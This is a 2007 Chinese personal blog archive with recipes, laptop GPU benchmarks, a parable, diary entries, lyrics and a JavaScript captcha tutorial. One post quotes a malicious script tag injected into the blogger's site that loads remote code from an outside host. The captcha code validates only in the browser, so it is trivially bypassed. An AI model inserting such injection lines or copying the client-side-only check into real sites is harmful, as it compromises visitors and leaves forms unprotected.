卡布奇诺

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卡布奇诺咖啡(Cappuccino)

  20世纪初期,意大利人阿奇布夏发明蒸汽压力咖啡机的同时,也发展出了卡布奇诺咖啡。卡布奇诺是在偏浓的咖啡上,倒入以蒸汽发泡的牛奶。此时咖啡的颜色,就象卡布奇诺教会的修士在深褐色的外衣上覆上一条头巾一样,咖啡因此得名。 在意大利各地都有卡布奇诺教会的修道院,其中最有名的是建于1624年的罗马的骸骨寺。如果有机会到罗马一游,别忘了到骸骨寺看看修士们的装扮!

卡布奇诺咖啡的冲泡步骤:

  步骤一: 倒入冲泡好的意大利咖啡约五分满,然后将打过奶泡的热鲜奶倒至八分满。
  步骤二: 将钢杯上层的奶泡倒入即完成。最后可随个人喜好,洒上少许肉桂粉或巧克力粉。

可乐发表于:11-21-07

提拉米苏蛋糕(全过程)

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最近好像老看到提拉米苏这个东东,然后搜索了一下。于是有了开一个美味专题的想法。

第一期,我们送上提拉米苏蛋糕

    忘记了在哪里看见这个浪漫的故事了。

    正值战乱,一个意大利士兵要离开自己的家,去前线参战。他的妻子把家里存着的面包、饼干还有奶油、黄油都一股脑儿地打碎拌在一起,作成这种点心给丈夫带去。TIRAMISU的意大利语意就是“带我走”。

    其实,做一个提拉米苏并不难,何况能够自己亲手操作。《可乐生活》邀请Patricklau先生,教大家自制提拉米苏,专业的指导加上自己的创意,好玩得要死。

    真正的提拉米苏特点是软棉棉,因为它的主要原料是软芝士,这种芝士是专门用于制作甜品的,与做菜时用的生芝士不同;底部和中间必须有蛋糕,正宗的提拉米苏是用手指饼;还有很浓的咖啡酒的味道,因为手指饼一定要浸透咖啡酒的味道;还必须撒一层厚厚的可可粉。

    但是可能原料对于国内的人有些难度。

    饼底材料:手指饼或者蛋糕、牛油

    材料:忌廉、软芝士、咖啡酒、蛋黄、鱼胶粉、砂糖、青柠檬汁

    步骤:先在蛋糕模上用牛油纸封好底部,均匀铺好饼底

    将咖啡酒均匀地洒在饼底上,充分入味约30分钟

 

    在忌廉里加入蛋黄,然后加糖、青柠檬汁、盐打匀

    用水将鱼胶粉开稀,再以热水溶开,倒进芝士里

    混合后在芝士浆里加入打起的忌廉,打均匀

    将已经混合的芝士馅料加进预先做好的饼底上,再放上雪柜约六小时

    加上可可粉及糖粉作装饰就大功告成

    大厨指导

    无可否认,做提拉米苏的确有一定的难度,对于许多人来说,未能成功做出一个象样的蛋糕,必定是某个过程出了乱子,分量、手法、次序、温度。细心揣摩,就能成功地做个属于自己的漂亮蛋糕。

    1、忌廉要打得起,容器及工具要干净,即无多余的油和水。

    2、放材料的时候要均匀,不要一下全部倒入。

    3、鱼胶粉要先用冻水溶开,才放进热水中溶开。

    4、要注意加材料时的顺序。

    5、最好是用手指饼,国内硬硬的那种不行.或者要吸水好的蛋糕.

    6、若做绿茶味或咖啡味;只需加入2平湯匙与粟粉和面粉一起筛匀便可。

可乐发表于:11-21-07

真实性能大揭秘 热门移动显卡横向测试

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市场现状及新特性解析

  随着迅驰4平台逐渐成为笔记本的主流配置,其图形芯片也完成了又一轮的更新换代。在现在的许多热门机型上,我们已经很难看到GeForce Go 7400、Mobility Radeon X1300这些半年前还随处可见的独立显卡,取而代之的是GeForce 8400M GS、Mobility Radeon HD 2400…它们采用了更为先进的制程和统一渲染架构,还支持DX10和高清视频加速…毫不夸张的说,新一代的独立显卡令不少消费者趋之若鹜,从而也间接地加速了迅驰4平台的普及进程。

  但与此同时,新产品的型号命名也更为复杂,让许多人看得一头雾水,以GeForce 8400M系列为例,就有8400M GT、8400M GS和8400M G三种型号,它们究竟孰强孰弱、具体的性能差距又有多大?在本文中您将会找到答案。

  另一方面,对NVIDIA和AMD两大图形芯片制造商的同级别产品进行比较,也是本文的写作目的之一。从目前的情况来看,市面上采用NVIDIA GeForce系列图形芯片的独显笔记本相对较多,这一方面是因为它们大多采用了英特尔处理器,而英特尔显然不希望这些笔记本搭配AMD的图形芯片;另一方面则是因为:目前多数3D游戏都对NVIDIA显卡进行了不同程度的优化,使得在效能相近的情况下,NVIDIA显卡会在这些游戏中有着更好的表现。当然,也有部分游戏对AMD显卡进行了优化,只是数量相对较少。


真实性能大揭秘 热门移动显卡横向测试
现在的独显笔记本也能流畅运行不少热门3D游戏

  无论是NVDIA还是AMD,其新一代的图形芯片都在四个方面有着不同程度的进步:

  1. 更为先进的制造工艺。其中NVIDIA从90nm更新为80nm,而AMD则抢先一步进入了65nm时代——更为先进的技术,意味着更高的晶体管集成度和更低的发热量。

  2. 统一渲染架构。众所周知,以前的图形芯片都有顶点着色器和像素着色器,它们在渲染每一帧游戏画面时都有着各自的分工,但随着游戏类型的不同,经常会出现一类着色器不够用、另一类却处于闲置状态的情况。

  因此,两大品牌的新一代图形芯片都不约而同地采用了更为科学的“统一渲染着色器”(又称流处理器),它们可以根据不同游戏、不同场景的实际需要,随时充当顶点着色器或像素着色器来使用,从而使硬件资源得到最大化的利用。

  不过在这项技术的体系架构上,AMD却和NVIDIA有着较大的区别,即在性能相同的情况下,AMD显卡的流处理器数量会明显比NVIDIA显卡的流处理器要多得多——某权威机构的测试数据表明,每1个NVIDIA显卡流处理器和4个AMD显卡流处理器的效能大致相同。

 热门移动显卡参数表  nb.zol.com.cn

显卡型号 制程
nm
流处理器 核心频率
MHz
显存频率
MHz
显存位宽
bit
DirectX 高清解码
8600M GT 80 32 475 1400 128 10 PureVideo HD
8600M GS 80 16 600* 1400* 128 10 PureVideo HD
8400M GS 80 16 400 1200 64 10 PureVideo HD
8400M G 80 8 400 1200 64 10 PureVideo HD
HD 2600 65 120** 500 1200 128 10 AVIVO HD
HD 2400 65 40** 450 1000 64 10 AVIVO HD
GMA X3100 90 8 1 500 - - 9c ClearVideo

* 厂商可以自由设定显卡的核心/显存频率,部分产品会降至540/800MHz
** 由于架构不同,每1个N卡流处理器的效能相当于大约4个A卡流处理器

  3. 支持DirectX 10。毫无疑问,DX10技术使游戏画面更加接近真实世界,但从现在为数不多的几款DX10游戏来看,它们对硬件配置的要求都是相当高的,在台式机领域也只有8800GT、2900Pro这一级别的显卡才能在较高画质下流畅运行——对笔记本领域的这些中低端显卡而言,玩转DX10游戏恐怕只是一个可望而不可及的梦想。

  4. 硬件解码高清视频。随着1080p高清视频的日益普及,NVIDIA和AMD都愈发重视图形芯片的视频加速功能,因为它不但能让复杂的高清视频得以流畅播放,同时还能极大地减轻CPU的运算负担,从而实现更强大的多任务处理能力。在这方面,AMD走在了前面,它不但能够硬件解码H.264高清视频,还拥有NVIDIA显卡没有的VC-1解码器,对喜爱欣赏高清视频的用户来说更具吸引力。

  细心的读者或许已经注意到,在本次横向测试中我们还加入了来自英特尔迅驰4平台的集成显卡核心:GMA X3100。作为目前市场份额最大的一款图形芯片,相信许多消费者都很想了解它和主流独立显卡之间究竟存在多大的性能差距?

3Dmark03/05/06测试成绩对比

  为了保证测试成绩的公平,我们在统一的平台对这些移动显卡进行测试,它的具体配置如下:Inter Core 2 Duo T7300、PM965/GM965、2×1GB DDR2-667、160GB SATA 5400RPM。操作系统我们选择了Windows Vista Home Premium。

  由于目前不少笔记本的8600M GS和8400M G图形芯片都搭配的是DDR2显存,因此我们认为对这些显存频率较低的显卡进行测试更为符合实际。在这里我们也想提醒大家不要仅凭型号来判断一款显卡的性能强弱——由于笔记本厂商可以自由设定显卡的核心/显存频率,因此同一型号的移动显卡也会出现较大的性能差异。

  另外,我们选择在3Dmark系列软件的默认设置下进行测试,其中3Dmark03/05的默认测试分辨率为1024×768,而3Dmark06则为1280×800。这是因为3Dmark06会自动侦测到当前LCD的最佳分辨率,并默认在这一设置下进行测试,而目前绝大多数笔记本的最佳分辨率都为1280×800。





 热门移动显卡性能测试  nb.zol.com.cn

显卡型号 3Dmark03
(1024×768)
3Dmark05
(1024×768)
3Dmark06
(1280×800)
8600M GT(475/1400) 10115 5866 3252
8600M GS(540/800) 7157 4120 2329
8400M GS(400/1200) 4833 2746 1590
8400M G(400/800) 3127 1722 1027
HD 2600(500/1200) 7870 6070 2981
HD 2400(450/1000) 4078 2985 1528
GMA X3100(500/-) 1500 894 496

  众所周知,3Dmark03针对NVIDIA显卡进行过优化、而3Dmark05则更偏向AMD显卡,因此当我们想了解这两个品牌同级别产品的性能高低时,这两项测试都显得不太公平。相对而言,3Dmark06被公认为更能客观反映出真实情况,因此我们也建议大家以3Dmark06作为主要参考依据。

  测试成绩表明,8600M GT的性能最强,其次是HD 2600,8600M GS位列第三;8400M GS和HD 2400的性能基本处于同一水平,而流处理器数量大幅缩水的8400M G的性能较弱,只有8400M GS的2/3。GMA X3100毫无悬念的排名垫底,但这并不意味着它无法运行普通游戏;更何况采用集成显卡的笔记本往往有着更长的电池续航时间,而这也是许多用户十分看重的特性。

11
7款热门显卡的3Dmark06测试成绩对比

  值得一提的是,由于本次测试的8600M GS和8400M G两款独立显卡仅采用了DDR2显存,使得它们的综合性能也降低了不少。倘若它们都采用的是GDDR3显存,那么上面的柱状图将会呈现出一个十分明显的三大阵营:第一阵营由三款和“6”有关的显卡组成,代表目前移动显卡的中高端水平;第二阵营由三款和“4”有关的显卡组成,代表目前移动显卡的主流水平;第三阵营是以GMA X3100为代表的集成显卡,代表中规中矩的图形处理能力和较长的电池续航时间。

  事实上,还有几款主流移动显卡我们没有在本文中列出,是因为目前采用它们的笔记本还相对较少,或是已经濒临被淘汰的边缘,比如8700M GT、8400M GT、HD 2300和GMA 950,相信大家在看过本文后,已经可以比较容易的判断它们的大致性能水平。

  不过需要注意的是,8400M GT和8600M GS一样拥有16个流处理器和128bit显存位宽,只是默认的核心和GDDR3显存频率稍低,因此实际性能有可能超过采用DDR2显存的8600M GS。另外,HD 2300并没有采用统一渲染架构,它只是在上一代X2300芯片基础上加入了高清加速技术,和HD 2400等显卡有着本质区别。

大型3D游戏测试及对比

  前面我们已经提到过,现在多数游戏都针对NVIDIA显卡进行了优化,这意味着两款3Dmark06测试成绩相近的N卡和A卡,在实际游戏中却会出现明显的差异。我们咨询了几位具有多年显卡测试经验的技术编辑,也得到了相同的观点。

  不过那些喜爱A卡的消费者也不用太担心,因为AMD会在这些游戏发布之后,以最快的速度更新自己的驱动程序,使得A卡在这些游戏中的表现和同级别的N卡也相差无几。

  通过下面的测试数据,我们可以看到在不少的热门3D游戏中,来自NVIDIA的8400M GS图形芯片确实比同级别的HD 2400有不同程度的领先优势。因此如果您的本本采用的是来自AMD的图形芯片,当它在某款新游戏中表现不佳时,下载并安装最新的显卡驱动或许会取得意想不到的效果


 同级别移动显卡综合游戏效能对比 1024×768 vista

测试项目 8400M GS HD 2400 对比
3Dmark06 1590 1528 104%
DOOM3 36.2 fps 30.8 fps 117%
Quake4 50.3 fps 41.2 fps 122%
Half life2 60.7 fps 55.6 fps 109%
Serious Sam2 26.1 fps 22.8 fps 114%
极品飞车9 16.4 fps 12.6 fps 130%

  当然,并不是所有的游戏都“偏向”NVIDIA显卡,比如去年风靡一时的《极品飞车10:卡本峡谷》就是一个例外,几乎所有的AMD显卡都在这款游戏中大放异彩。在下面的统计表格中,我们可以很清晰的看到在这款游戏中,HD 2600的效能甚至超越了8600M GT、而HD 2400也比同级别的8400M GS表现更好。

 热门移动显卡横向测试
HD 2600在1024×768高画质下运行极品10的平均帧数为35~36fps

 极品飞车10(卡本峡谷)游戏帧数  1024×768分辨率

显卡型号 低画质 中画质 高画质
HD 2600(500/1200) 85 62 36
8600M GT(475/1400) 78 55 32
8600M GS(540/800) 59 35 20
HD 2400(450/1000) 45 29 16
8400M GS(400/1200) 40 27 15
8400M G(400/800) 30 16 8
GMA X3100(500/-) 15 8 3

  在以上表格中我们还可看出,若想在1024×768高画质下流畅运行《极品飞车10》,至少需要8600M GT这一级别的移动显卡(帧数高于25fps才算流畅),而在中画质下8400M GS即可满足;但即使采用最低画质,GMA X3100集成显卡也十分吃力,只有同时将分辨率降至640×480才能保证游戏的正常运行。

 热门移动显卡横向测试
GMA X3100在1024×768中画质下运行实况10的平均帧数为54fps

  当然,多数主流游戏对显卡的要求都没有《极品飞车10》那么高,比如《实况足球10》、《魔兽世界》这些热门3D游戏,都可以使用GMA X3100在1024×768中等画质下流畅运行。唯一需要注意的是,同一款游戏在Windows XP系统和Vista系统下的流畅度会有明显的差异,如果您的显卡性能较弱,又希望它在游戏中有尽量好的表现,那么最好还是安装Windows XP操作系统吧。

· 小结

  在本文中,我们介绍了新一代图形芯片的特性和规格,并通过测试掌握了它们之间的性能高低、以及在热门3D游戏中的具体表现。希望这些内容能够对大家选购笔记本有所帮助,买到一款性能够用、又适合自己的本本。如果您还有任何问题,都可以在写在下面的留言板中,笔者会尽快给予答复。

可乐发表于:11-20-07

笔记本

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第一,我为什么要买笔记本?

方便!总结完毕。我不想搬家的时候提个台式机来回走。实在是累!

第二,我为什么要买独显本?

爱玩!游戏总归是要玩的。不能因为买本本彻底放弃游戏这个强大的消遣~而玩游戏用个集成显卡,累个死去活来的又何必~为什么买独显,很明显。就是冲着他的娱乐性能去的~别给我说集成显卡也能玩游戏。你为什么不玩红白机而要玩PSP啊?

第三,为什么要D10显卡

趋势!莫非花N多钱买个不能玩D10游戏的机器,不能看高清~那不是亏死~所以,必D10~

在研究了很多对比后发现自己走进了一个误区,觉得8XXX的显卡就是比7XXX的显卡好。该死,突然发现不是这么回事。8XXX是第一代D10显卡,对于D10的支持其实不是很好。当真正的去玩D10游戏的时候会发现8600显卡都跑不起来。所以……放弃这个念头

那么我们开始大面积的普及下笔记本电脑相关知识吧

迅驰技术

迅驰已经发展到4代了,我想现在买个电脑都说是迅驰的(感觉上而已,毕竟AMD的本本也还是很多的)。迅驰是由处理器,芯片组,无线网卡三部分组成,缺一不可。

就拿现在最近的迅驰四Santa Rosa来说吧,处理器Merom核心处理器依旧采用扣肉(酷睿)微架构。前端总线是800MHZ。好处那就是在不牺牲性能的同时省电……

芯片组是用965的,加入了清晰视频技术(恩恩,这里很吸引我!)不过默认整合了GMA X3100图形核心。GMA X3100使用起来也就是个5200级别的东西~台式机4年前的显卡~哭~所以大家可以体会到可乐为什么要买独立显卡了~HOHO。

无线网卡配备的是Intel Pro/Wireless 4965AGN无线网卡,这个东西咱还真不怎么了解。毕竟没怎么用无线构建过网络~恩恩,路过不谈。现在有很多伪迅驰四就是在无线网卡这里动了手脚。没有用Intel Pro/Wireless 4965AGN无线网卡。号称阉割过的迅驰四。(为什么东西都是公的,缺少点什么东西就要用“阉割”这个词。)

CPU

现在一说CPU必然要说双核(当然,最近好像流行起来了四核),双核处理器是指在一个处理器上集成两个运算核心,从而提高计算能力。其实就是分担工作。莫非CPU也流行男女搭配干活不累 ?

显卡

当然是分为集成显卡和独立显卡2个部分。

集成显卡就比如迅驰四自带的GMA X3100和迅驰三Intel Graphics Media Accelerator 950等等。当然还有SIS和ALI。好处就是省电(又见省电)。在处理文字和一些简单的3D游戏可以使用。但是玩过稍微夸张点的游戏直接能让你哭死过去。(怎么能哭死?必然是脱水哇,猪!)

独立显卡又有好多有N卡,A卡等等

所谓N卡就是nVIDIA的显卡了。市面上一抓一把。N卡常见的是Geforce GO系列的东东

A卡当然就是ATI了,当然也是一抓一把。A卡常见的是Mobile Radeon。

个人比较中意N卡~

恩,如果你坚持要用本本运行MA2YA、3Dmax之类的软件,那我承认我错了,不过,基本上,不管你的本本用了什么强劲的显卡,我还是认为,在本本上进行3D设计纯属是自我虐待。

D9级独立显卡的排位大致为:7600GT〉7700〉7600〉X1700〉X1600〉7600(64BIT)〉X1600(64BIT)〉7400〉X1450〉=7300=X1400〉X1300〉7200。

D10 N版的

      NVIDIA GeForce 8600 GT, 32 流处理器, 128 Bit 
      NVIDIA GeForce 8600 GS, 16 流处理器, 128 Bit  
      NVIDIA GeForce 8400 GT, 16 流处理器, 128 Bit 
      NVIDIA GeForce 8400 GS, 16 流处理器, 64 Bit 
      NVIDIA GeForce 8400 G, 8 流处理器, 64 Bit

性能由上至下变弱。

就单纯的考虑我玩的WOW来说,7300以上的显卡都可以完全胜任。但是但是~假如是极品飞车12这样的游戏呢?

显示器

是否宽屏。喜欢看电影的人可以考虑买宽屏,享受~老玩游戏的人呢,现在的游戏都可以调节分辨率。所以也就无所谓。所以,宽屏是个不错的选择。

大小。大小直接就能决定你的重量。如果老是来回拿本本,最好还是14.1为上限。15+的本本实在是重。如果你把拿笔记本当体育锻炼,那可以当我没说。如果不怎么移动,可以考虑大一点点。如果干脆不移动,那你买本本干嘛?不如买个台式机合适。

内存,硬盘

这个东西没什么可说的,当然是越大越好。内存考虑的是与CPU前端总线的搭配问题。硬盘考虑接口,转速,缓存。现在的机器怎么也要1G内存120G硬盘吧。要不活不下去干脆就。

操作系统

Vista  XP 必然是常规选择。当然你可以考虑2003,linux甚至买个Apple的机器装Leopard(不知道Leopard?去看我原来发过的Blog)

我考虑装Vista  XP linux这3个东西~Vista用来玩,XP用来用,linux用来学习。

那么配置就可以考虑这样的

CPU:Core 2 T7100

内存:2G(为了游戏和Vista)

显卡:7600GT以上

硬盘:120G以上

其他可以根据这个来调节~

难得动手写这么长的内容~鼓励下~

可乐发表于:11-19-07

前世,究竟是谁埋的你?

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有一则佛教故事。(电影《鬼味人间》里有这故事。)

    从前有个书生,和未婚妻约好在某年某月某日结婚。到那一天,未婚妻却嫁给了别人。

    书生受此打击, 一病不起。这时,路过一游方僧人,从怀里摸出一面镜子叫书生看。书生看到茫茫大海,一名遇害的女子一丝不挂地躺在海滩上。路过一人, 看一眼,摇摇头, 走了。又路过一人, 将衣服脱下,给女尸盖上, 走了。再路过一人,过去, 挖个坑, 小心翼翼把尸体掩埋了。

    僧人解释道, 那具海滩上的女尸,就是你未婚妻的前世。你是第二个路过的人,曾给过他一件衣服。她今生和你相恋,只为还你一个情。但是她最终要报答一生一世的人, 是最后那个把她掩埋的人,那人就是他现在的丈夫。书生大悟。

 

    佛曾教我们,“千年修得共枕眠”。就为了这句话 ,多少人拽着将逝去的爱不肯放手,痛不欲生,多少人守着心底那段曾经不能释怀,漠然度日。佛说这句话的当年,未曾想到今天的世界会变成这样谁都不是谁的谁,谁都好难成为谁的谁。看着众多为爱苦苦执着着的善男信女们,佛心生不安,赶紧的又给我们补了一课。

    “正在为逝去的爱在痛里为难自己的人们,放过自己吧 ,前世你一件衫的恩,今生他(她)已报,收拾心情,继续上路吧,不要错过了前世埋你的人。”

    人问佛:谁是前世埋我的人?

    佛笑着答道:前世已定,自会遇到。

    相爱的人们,当你们拥抱的时候,请珍惜吧。你要知道,也许她(他)就是前世埋你的人。

    也许一个靠近你爱着你的人,而你并不爱他(她),但是也许他(她)就是前世掩埋你的人!不要老是去选择别人,应该尝试学会让别人来选择你。这最有可能才是真正的爱!

    前世是谁埋了我?但愿是我最爱的人!

    前世我又埋了谁?但愿是最爱我的人!

    前世谁又给了我衣衫?但愿是爱我的人!

    前世我给了谁衣衫?但愿是我爱的人!

可乐发表于:11-16-07

JS生成验证码方式

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知道.net里有控件可以直接生成这个东西。但是普通的HTML页面该如何办呢~

上网找了一下,然后询问SD同学。学会了~

JS部分
<script>
var code = “”;
window.onload=function()
{
var temp;
var sum_num = [];
for(var i=0;i<=3;i++)
{
temp =Math.random()*10;

sum_num[i] = Math.floor(temp);
code += sum_num[i];
//alert(Math.floor(temp));
}
/*for (i=0;i<sum_num.length;i++)
{
alert(’sum_num====’+sum_num[i]);
}*/
var str=’<img src=”http://www.chaoketu.com/num_images/’+sum_num[0]+’.jpg” height=”14″><img src=”http://www.chaoketu.com/num_images/’+sum_num[1]+’.jpg” height=”14″><img src=”http://www.chaoketu.com/num_images/’+sum_num[2]+’.jpg” height=”14″><img src=”http://www.chaoketu.com/num_images/’+sum_num[3]+’.jpg” height=”14″>’;
right_number.innerHTML=str;
}

function test(objForm)
{
if ( objForm.code.value == code )
{
objForm.submit();
}
else
{
alert( ” 验证码错误 ” );
return false;
}
}
</script>

表单部分
<form action=”save.html” method=”post” name=”postart” onSubmit=”return test(postart)”>
<input name=”code” type=”text” size=”20″ maxlength=”20″>
<input type=”submit” value=”提交” name=”submit”>
</form>

用来显示验证码的位置

<div id=”right_number”></div>

很好,很强大~继续学习~

然后做10张图片,命名方式是 数字.jpg 比如1.jpg

命名从0-9的,放在num_images下~当然名字随便你起了~

WEB标准第一境界,会用CSS布局,可以脱离table
WEB标准第二境界,能够兼容流行的浏览器,IE5.x——IE7.0,Firefox1.5+,Opera跟Firefox差不多
WEB标准第三境界,语义化的结构,搜索引擎优化初步,WAI(网站亲和力)基础,兼容打印,和手持设备
WEB标准第四境界,模块化的网页编码,大型项目的开发模式,网站前端性能优化,向前向后兼容所有浏览器和设备,搜索引擎优化高级,亲和力WAI1 AAA级(WAI2变动挺大,我不了解)
WEB标准第五境界(某些公司找前端的就要求这些),交互设计,前端编程(Javascript,Flex,AJAX),SEO关键词基本库等等外部技术,后台编程基础
WEB标准第六境境界,WEB前台架构师,负责前端编码架构,做类似与大型WEB2.0产品(Google web2.0,yahoo web2.0,qzone之类的)前端,DISCUZ论坛也很复杂。

可乐发表于:11-16-07

无聊~动手

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天天坐车都能遇到的美女今天说了句相当惊人的话~“我老公……”

当然不是说我~呵呵~她遇一熟人,聊天带出来句我老公如何如何~当场打破我好多天YY的梦想~哭~

开始出图,用来练手

可乐发表于:11-15-07

小B

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今天上来就发现网站上不去,一开始以为是服务器问题。没理。

下午猪哥说是网站有病毒,打开Index.html一看,果然被嵌入了代码。日了我就!

<script src=http://laopo.ns2go.com/ad/images/1.js></script>

打开看里面是一堆乱码~咱也不知道啥内容。反正不是好东西!

FTP把所有页面下载了,然后用DW批量修改了一下~发现大概有20个左右的页面感染了。

好在还有我这么强大的人在。修复~

也不知道是FTP外泄还是OBLOG本身程序有问题。
 

今11月14号,失恋2个月整~心情还凑合~不如上个月那么难受了。时间果然能疗伤。主要还是看自己了。如果自己放不下,别人说什么都没用。可能也就是那么一瞬间就会明白,人总是在一夜之间长大的吗~

11月14号,北京居然TMD还下雨了。郁闷~本来屋子里就潮,而且没供暖。老天爷还很配合的来了一场雨。我只好指着太阳说:日!(今天没太阳 —。—#!)

忙了一天项目又,不过感觉挺充实。起码时间过的飞快。恩恩,我喜欢时间过得快点~

送上5566版的《Crying in the rain》

I’ll never let you see
 The way my broken heart is hurting me
 I’ve got my fride and I know how to hide
 All my sorrow and pain
 I’ll do my crying in the rain
 If I wait for stormy skies
 You won’t know the rain from the tears in my eyes
 You’ll never know that I still love you so
 Though the heartaches remain
 I’ll do my crying in the rain
 Raindrops falling from heaven
 Could never take away my misery
 But since we’re not together
 I’ll wait for storm weather
 To hide these tears I hope you’ll never see
 Someday when my crying’s done
 I’m gonna wear a smile and walk in the sun
 I maybe a fool but till then daring
 You’ll never see me complain
 I’ll do my crying in the rain
 Raindrops falling from heaven
 Could never take away my misery
 But since we’re not together
 I’ll wait for storm weather
 To hide these tears I hope you’ll never see
 Someday when my crying’s done
 I’m gonna wear a smile and walk in the sun
 I maybe a fool but till then daring
 You’ll never see me complain
 I’ll do my crying in the rain
 I’ll do my crying in the rain
 I’ll do my crying in the rain

 

可乐发表于:11-14-07

充实

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发现自己似乎有点贱~休息的时候感觉特失落。正经上班忙了起来,反倒觉得生活很充实。

昨天接到一个任务,重新设计新的网站风格。上礼拜出过一张图,转成网页。然后开完例会出来开始就做。等做的差不多了看了下电脑上的时间,靠,5点半了~!完全没感觉。然后动弹了一下,发现坐累了。

充实的感觉很好~起码脑袋里想到全部都是一些重要的事情。

可乐发表于:11-13-07

咱这俩天

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买衣服的计划终于在搁浅了数个星期之后实现了。

周六一早冲去SNAKE家拉上他们俩口子就跑。目的地很明确——动物园……对面的服装批发市场。

一上楼感觉跟包头的包百地下差不多。只是在地上2楼而已。然后我们发现个问题,没有男装。后来一问才知道,男装在4楼。为什么女装有2层,男装还不到一层。为什么说不到一层?因为那一层还有卖包的,卖鞋的。

走了几圈我们手中的分量慢慢重了起来。每当我们看中一件衣服的时候,组织内部就委派晓静同志出马。然后一阵风过后,剩下的之后被晓静1刀“砍”翻的卖家。当时就一感觉,我的神啊!~被“砍”倒的卖家就一表情——欲哭无泪。为啥无泪?死人还有泪?以至于我和SNAKE建议晓静去做陪购这个职业。估计以后晓静一出面店家就有种想死的感觉~

晚上的活动就是传说中的吃饭~恩恩,传说中的。携SNAKE,晓静,猪哥一干人等冲去了传说中的韩中阁烤肉。猪哥很能吃,SNAKE不能喝,我喝酒会不开心。总结完毕。胡吃海喝了一翻冲去WOW世界。

又是1点多睡觉,不过已经习惯了。但是半夜4点多做了一个恶梦醒来。梦见虫子从嘴里爬了出来。醒来了还在那吐了吐嘴巴里的东西。然后发现是梦。准备再次睡眠,发现睡不着了。因为想到了她。然后就这样一直熬到天亮。期间突然就想明白了很多事情。发现完全没有必要去这样折磨自己。她已经是别人怀中的“娇妻”,已经脱离了我的范围。我又何苦这么折磨自己呢?顿然感觉眼前一片开阔。睡觉睡觉~

9点多出门请人吃饭~怎么老是我请人吃饭呢,奇怪~

地铁倒地铁倒地铁倒公车终于到MXY家……2人吃了烧烤,可惜那孩子不能吃辣和发的东西。同情下!

晚上又和ZYF吃饭,火锅。不过感觉那家店的东西一般,但是价格“很”合适!2人123。

晚上回家发现,脚上起了一水泡……哭的死去活来的。后来发现有脱水的嫌疑。打住。睡觉……

送上《短消息》

还是留着你寄来的短消息
总是眷惜舍不得删去
因为这是如今和你
唯一留下来的关系
我靠这样沉溺继续着呼吸
有些事情你永远不会忘记
我猜这就是刻骨铭心
有谁听到我的叹息
夜深人静时的哭泣
这寂寞空气多令人窒息
我多么爱你又多么想你
热恋时你send的永恒咒语
忍不篆寻痛苦又甜蜜
像刀子般一刀刀割在心里
感动的回忆相似的字句
生日祝福生动的灼伤眼睛
明明想忘记却藏着痕迹
多么痛恨这样矛盾的情绪
谁能把我从这深渊里逃离

可乐发表于:11-12-07